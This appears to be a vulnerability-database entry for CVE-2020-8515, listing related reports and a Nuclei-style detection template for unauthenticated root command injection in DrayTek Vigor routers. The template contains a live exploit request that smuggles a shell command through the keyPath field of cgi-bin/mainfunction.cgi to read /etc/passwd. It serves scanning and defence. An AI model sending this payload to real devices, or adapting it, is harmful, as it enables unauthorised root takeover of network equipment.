DrayTek - Remote Code Execution
| Reporter | Title | Published | Views | Family All 35 |
|---|---|---|---|---|
 | DrayTek Products - Pre-authentication Remote Root Code Execution Exploit | 30 Mar 202000:00 | – | zdt |
 | Exploit for OS Command Injection in Draytek Vigor2960_Firmware | 1 Sep 202122:47 | – | githubexploit |
| Exploit for OS Command Injection in Draytek Vigor2960_Firmware | 30 Mar 202003:31 | – | githubexploit |
 | Potential for China Cyber Response to Heightened U.S.–China Tensions | 20 Oct 202012:00 | – | ics |
| People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices | 10 Jun 202212:00 | – | ics |
 | CVE-2020-8515 | 1 Feb 202000:00 | – | attackerkb |
 | The vulnerability of the WebUI interface of Vigor3900 / Vigor2960 / Vigor300B routers allows a hacker to execute arbitrary code with root privileges. | 6 Sep 202100:00 | – | bdu_fstec |
 | CVE-2020-8515 | 27 Mar 202023:08 | – | circl |
 | Multiple DrayTek Vigor Routers Web Management Page Vulnerability | 3 Nov 202100:00 | – | cisa_kev |
 | MS-ISAC Releases Advisory on DrayTek Devices | 1 Apr 202000:00 | – | cisa |
10
id: CVE-2020-8515
info:
name: DrayTek - Remote Code Execution
author: pikpikcu
severity: critical
description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected router, leading to complete compromise of the device and potential unauthorized access to the network.
remediation: This issue has been fixed in Vigor3900/2960/300B v1.5.1.
reference:
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
- https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
- https://nvd.nist.gov/vuln/detail/CVE-2020-8515
- https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-8515
cwe-id: CWE-78
epss-score: 0.99993
epss-percentile: 0.99986
cpe: cpe:2.3:o:draytek:vigor2960_firmware:1.3.1:beta:*:*:*:*:*:*
metadata:
max-request: 1
vendor: draytek
product: vigor2960_firmware
tags: cve,cve2020,rce,kev,draytek,vkev,vuln
http:
- raw:
- |
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: {{Hostname}}
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100a84c3dad4a379ed83c0f744b29eb599179aa04051597ecc3528e24211d0af9410221009046361e643927cd4dfe213a0e50ab0d5b8460e430abb94459e5da7cd510b40e:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.19.8
CVSS 210
EPSS0.99993
SSVC